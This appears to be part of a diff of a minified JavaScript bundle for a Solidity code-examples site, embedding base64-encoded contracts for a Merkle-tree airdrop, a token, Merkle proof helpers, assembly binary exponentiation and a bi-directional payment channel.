WwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gcHJvY2Vzc1Byb29mKHByb29mLCBsZWFmKSA9PSByb290OwogICAgfQoKICAgIGZ1bmN0aW9uIHByb2Nlc3NQcm9vZihieXRlczMyW10gbWVtb3J5IHByb29mLCBieXRlczMyIGxlYWYpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICBieXRlczMyIGNvbXB1dGVkSGFzaCA9IGxlYWY7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgY29tcHV0ZWRIYXNoID0gSGFzaGVzLmNvbW11dGF0aXZlS2VjY2FrMjU2KGNvbXB1dGVkSGFzaCwgcHJvb2ZbaV0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gY29tcHV0ZWRIYXNoOwogICAgfQp9Cg=="},{fileName:"Token.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIEVSQzIwICsgbWludCArIGF1dGhvcml6YXRpb24KY29udHJhY3QgVG9rZW4gewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiB2YWx1ZSk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IHZhbHVlCiAgICApOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyB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ludCh0bywgYW1vdW50KTsKICAgIH0KfQo="}],tj=`

Example of airdrop contract using Merkle tree.

+`,nj=({prev:s,next:a})=>r.jsx(A,{version:OC,title:PC,description:$C,cyfrinLink:qC,html:aj,prev:s,next:a,codes:sj}),lj="0.8.26",pj="Merkle Airdrop",ej="Airdrop contract using Merkle tree",cj="https://www.cyfrin.io/glossary/merkle-airdrop-solidity-code-example",tj=[{fileName:"Airdrop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCB7TWVya2xlUHJvb2Z9IGZyb20gIi4vTWVya2xlUHJvb2Yuc29sIjsKCmludGVyZmFjZSBJVG9rZW4gewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEFpcmRyb3AgewogICAgZXZlbnQgQ2xhaW0oYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpOwoKICAgIElUb2tlbiBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwogICAgYnl0ZXMzMiBwdWJsaWMgaW1tdXRhYmxlIHJvb3Q7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gYm9vbCkgcHVibGljIGNsYWltZWQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4sIGJ5dGVzMzIgX3Jvb3QpIHsKICAgICAgICB0b2tlbiA9IElUb2tlbihfdG9rZW4pOwogICAgICAgIHJvb3QgPSBfcm9vdDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRMZWFmSGFzaChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGUodG8sIGFtb3VudCkpOwogICAg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mRyb3A7CgogICAgc3RydWN0IFJld2FyZCB7CiAgICAgICAgYWRkcmVzcyB0bzsKICAgICAgICB1aW50MjU2IGFtb3VudDsKICAgIH0KCiAgICBSZXdhcmRbXSBwcml2YXRlIHJld2FyZHM7CiAgICBieXRlczMyW10gcHJpdmF0ZSBoYXNoZXM7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gUmV3YXJkKSBwcml2YXRlIGhhc2hUb1Jld2FyZDsKCiAgICB1aW50MjU2IGNvbnN0YW50IE4gPSAxMDA7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHRva2VuID0gbmV3IFRva2VuKCJ0ZXN0IiwgIlRFU1QiLCAxOCk7CgogICAgICAgIC8vIEluaXRpYWxpemUgdXNlcnMgYW5kIGFpcmRyb3AgYW1vdW50cwogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IE47IGkrKykgewogICAgICAgICAgICByZXdhcmRzLnB1c2goCiAgICAgICAgICAgICAgICBSZXdhcmQoe3RvOiBhZGRyZXNzKHVpbnQxNjAoaSkpLCBhbW91bnQ6IChpICsgMSkgKiAxMDB9KQogICAgICAgICAgICApOwogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZShyZXdhcmRzW2ldLnRvLCByZXdhcmRzW2ldLmFtb3VudCkpKTsKICAgICAgICAgICAgaGFzaFRvUmV3YXJkW2hhc2hlc1tpXV0gPSByZXdhcmRzW2ldOwogICAgICAgIH0KCiAgICAgICAgaGFzaGVzID0gTWVya2xlSGVscGVyLnNvcnQoaGFzaGVzKTsKCiAgICAgICAgYnl0ZXMzMiByb290ID0gTWVya2xlSGVscGVyLmNhbGNSb290KGhhc2hlcyk7CgogICAgICAgIGFpcmRyb3AgPSBuZXcgQWlyZHJvcChhZGRyZXNzKHRva2VuKSwgcm9vdCk7CgogICAgICAgIHRva2VuLnNldEF1dGhvcml6ZWQoYWRkcmVzcyhhaXJkcm9wKSwgd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MiB2YWx1ZSkKICAgIHsKICAgICAgICAvLy8gQHNvbGlkaXR5IG1lbW9yeS1zYWZlLWFzc2VtYmx5CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBtc3RvcmUoMHgwMCwgYSkKICAgICAgICAgICAgbXN0b3JlKDB4MjAsIGIpCiAgICAgICAgICAgIHZhbHVlIDo9IGtlY2NhazI1NigweDAwLCAweDQwKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MerkleHelper.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmxpYnJhcnkgTWVya2xlSGVscGVyIHsKICAgIC8vIEJ1YmJsZSBzb3J0CiAgICBmdW5jdGlvbiBzb3J0KGJ5dGVzMzJbXSBtZW1vcnkgYXJyKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzJbXSBtZW1vcnkpCiAgICB7CiAgICAgICAgdWludDI1NiBuID0gYXJyLmxlbmd0aDsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBuOyBpKyspIHsKICAgICAgICAgICAgZm9yICh1aW50MjU2IGogPSAwOyBqIDwgbiAtIDEgLSBpOyBqKyspIHsKICAgICAgICAgICAgICAgIGlmIChhcnJbal0gPiBhcnJbaiArIDFdKSB7CiAgICAgICAgICAgICAgICAgICAgKGFycltqXSwgYXJyW2ogKyAxXSkgPSAoYXJyW2ogKyAxXSwgYXJyW2pdKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGFycjsKICAgIH0KCiAgICBmdW5jdGlvbiB5dWxLZWNjYWsyNTYoYnl0ZXMzMiBhLCBieXRlczMyIGIpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiB2KQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbXN0b3JlKDB4MDAsIGEpCiAgICAgICAgICAgIG1zdG9yZSgweDIwLCBiKQogICAgICAgICAgICB2IDo9IGtlY2NhazI1NigweDAwLCAweDQwKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjYWxjUm9vdChieXRlczMyW10gbWVtb3J5IGhhc2hlcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHVpbnQyNTYgbiA9IGhhc2hlcy5sZW5ndGg7CgogICAgICAgIHdoaWxlIChuID4gMSkgewogICAgICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBuOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGJ5dGVzMzIgbGVmdCA9IGhhc2hlc1tpXTsKICAgICAgICAgICAgICAgIGJ5dGVzMzIgcmlnaHQgPSBoYXNoZXNbaSArIDEgPCBuID8gaSArIDEgOiBpXTsKICAgICAgICAgICAgICAgIChsZWZ0LCByaWdodCkgPSBsZWZ0IDw9IHJpZ2h0ID8gKGxlZnQsIHJpZ2h0KSA6IChyaWdodCwgbGVmdCk7CiAgICAgICAgICAgICAgICBoYXNoZXNbaSA+PiAxXSA9IHl1bEtlY2NhazI1NihsZWZ0LCByaWdodCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgbiA9IChuICsgKG4gJiAxKSkgPj4gMTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoZXNbMF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJvb2YoYnl0ZXMzMltdIG1lbW9yeSBoYXNoZXMsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMltdIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mID0gbmV3IGJ5dGVzMzJbXSgwKTsKICAgICAgICB1aW50MjU2IGxlbiA9IDA7CgogICAgICAgIHVpbnQyNTYgbiA9IGhhc2hlcy5sZW5ndGg7CiAgICAgICAgdWludDI1NiBrID0gaW5kZXg7CgogICAgICAgIHdoaWxlIChuID4gMSkgewogICAgICAgICAgICAvLyBHZXQgcHJvb2YgZm9yIHRoaXMgbGV2ZWwKICAgICAgICAgICAgdWludDI1NiBqID0gayAmIDEgPT0gMSA/IGsgLSAxIDogKGsgKyAxIDwgbiA/IGsgKyAxIDogayk7CiAgICAgICAgICAgIGJ5dGVzMzIgaCA9IGhhc2hlc1tqXTsKCiAgICAgICAgICAgIC8vIHByb29mLnB1c2goaCkKICAgICAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAgICAgbGVuIDo9IGFkZChsZW4sIDEpCiAgICAgICAgICAgICAgICBsZXQgcG9zIDo9IGFkZChwcm9vZiwgc2hsKDUsIGxlbikpCiAgICAgICAgICAgICAgICBtc3RvcmUocG9zLCBoKQogICAgICAgICAgICAgICAgbXN0b3JlKHByb29mLCBsZW4pCiAgICAgICAgICAgICAgICBtc3RvcmUoMHg0MCwgYWRkKHBvcywgMHgyMCkpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGsgPj49IDE7CgogICAgICAgICAgICAvLyBDYWxjdWxhdGUgbmV4dCBsZXZlbCBvZiBoYXNoZXMKICAgICAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgbjsgaSArPSAyKSB7CiAgICAgICAgICAgICAgICBieXRlczMyIGxlZnQgPSBoYXNoZXNbaV07CiAgICAgICAgICAgICAgICBieXRlczMyIHJpZ2h0ID0gaGFzaGVzW2kgKyAxIDwgbiA/IGkgKyAxIDogaV07CiAgICAgICAgICAgICAgICAobGVmdCwgcmlnaHQpID0gbGVmdCA8PSByaWdodCA/IChsZWZ0LCByaWdodCkgOiAocmlnaHQsIGxlZnQpOwogICAgICAgICAgICAgICAgaGFzaGVzW2kgPj4gMV0gPSB5dWxLZWNjYWsyNTYobGVmdCwgcmlnaHQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIG4gPSAobiArIChuICYgMSkpID4+IDE7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcHJvb2Y7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KGJ5dGVzMzJbXSBtZW1vcnkgcHJvb2YsIGJ5dGVzMzIgcm9vdCwgYnl0ZXMzMiBsZWFmKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJ5dGVzMzIgbGVmdCwgYnl0ZXMzMiByaWdodCkgPQogICAgICAgICAgICAgICAgaCA8PSBwcm9vZltpXSA/IChoLCBwcm9vZltpXSkgOiAocHJvb2ZbaV0sIGgpOwogICAgICAgICAgICBoID0geXVsS2VjY2FrMjU2KGxlZnQsIHJpZ2h0KTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoID09IHJvb3Q7CiAgICB9Cn0K"},{fileName:"MerkleProof.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBPcGVuWmVwcGVsaW4gQ29udHJhY3RzCgpwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCB7SGFzaGVzfSBmcm9tICIuL0hhc2hlcy5zb2wiOwoKbGlicmFyeSBNZXJrbGVQcm9vZiB7CiAgICBmdW5jdGlvbiB2ZXJpZnkoYnl0ZXMzMltdIG1lbW9yeSBwcm9vZiwgYnl0ZXMzMiByb290LCBieXRlczMyIGxlYWYpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gcHJvY2Vzc1Byb29mKH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5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVtzZW5kZXJdW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2Zbc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgYmFsYW5jZU9mW3JlY2lwaWVudF0gKz0gYW1vdW50OwogICAgICAgIGVtaXQgVHJhbnNmZXIoc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBtaW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShhdXRob3JpemVkW21zZy5zZW5kZXJdLCAibm90IGF1dGhvcml6ZWQiKTsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="}],oj=`

Example of airdrop contract using Merkle tree.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.26;
 
@@ -479,7 +479,7 @@ Error generating stack: `+e.message+`
         }
     }
 }
-
`,oj=({prev:s,next:a})=>r.jsx(A,{version:nj,title:lj,description:pj,cyfrinLink:ej,html:tj,prev:s,next:a,codes:cj}),rj="0.8.26",ij="Assembly Binary Exponentiation",gj="Example of binary exponentiation in assembly",hj="https://www.cyfrin.io/glossary/assembly-binary-exponentiation-solidity-code-example",Ij=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],dj=`

Example of binary exponentiation in assembly

+`,rj=({prev:s,next:a})=>r.jsx(A,{version:lj,title:pj,description:ej,cyfrinLink:cj,html:oj,prev:s,next:a,codes:tj}),ij="0.8.26",gj="Assembly Binary Exponentiation",hj="Example of binary exponentiation in assembly",Ij="https://www.cyfrin.io/glossary/assembly-binary-exponentiation-solidity-code-example",dj=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],Cj=`

Example of binary exponentiation in assembly

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.26;
 
@@ -536,7 +536,7 @@ Error generating stack: `+e.message+`
         }
     }
 }
-
`,Cj=({prev:s,next:a})=>r.jsx(A,{version:rj,title:ij,description:gj,cyfrinLink:hj,html:dj,prev:s,next:a,codes:Ij}),jj="0.8.26",Aj="Bi-Directional Payment Channel",uj="An example of bi-directional payment channels in Solidity",yj="https://www.cyfrin.io/glossary/bi-directional-payment-channel-solidity-code-example",mj=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKLyoKT3BlbmluZyBhIGNoYW5uZWwKMS4gQWxpY2UgYW5kIEJvYiBmdW5kIGEgbXVsdGktc2lnIHdhbGxldAoyLiBQcmVjb21wdXRlIHBheW1lbnQgY2hhbm5lbCBhZGRyZXNzCjMuIEFsaWNlIGFuZCBCb2IgZXhjaGFuZ2VzIHNpZ25hdHVyZXMgb2YgaW5pdGlhbCBiYWxhbmNlcwo0LiBBbGljZSBhbmQgQm9iIGNyZWF0ZXMgYSB0cmFuc2FjdGlvbiB0aGF0IGNhbiBkZXBsb3kgYSBwYXltZW50IGNoYW5uZWwgZnJvbQogICB0aGUgbXVsdGktc2lnIHdhbGxldAoKVXBkYXRlIGNoYW5uZWwgYmFsYW5jZXMKMS4gUmVwZWF0IHN0ZXBzIDEgLSAzIGZyb20gb3BlbmluZyBhIGNoYW5uZWwKMi4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGRlcGxveWVkIHRoZSBvbGQgcGF5bWVudCBjaGFubmVsCiAgIC0gYW5kIHRoZW4gY3JlYXRlIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcG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rKykgewogICAgICAgICAgICBhZGRyZXNzIHBheWFibGUgdXNlciA9IF91c2Vyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUoIWlzVXNlclt1c2VyXSwgInVzZXIgbXVzdCBiZSB1bmlxdWUiKTsKICAgICAgICAgICAgdXNlcnNbaV0gPSB1c2VyOwogICAgICAgICAgICBpc1VzZXJbdXNlcl0gPSB0cnVlOwoKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcl0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBleHBpcmVzQXQgPSBfZXhwaXJlc0F0OwogICAgICAgIGNoYWxsZW5nZVBlcmlvZCA9IF9jaGFsbGVuZ2VQZXJpb2Q7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcywKICAgICAgICBhZGRyZXNzIF9jb250cmFjdCwKICAgICAgICBhZGRyZXNzWzJdIG1lbW9yeSBfc2lnbmVycywKICAgICAgICB1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludDI1NiBfbm9uY2UKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWduYXR1cmVzLmxlbm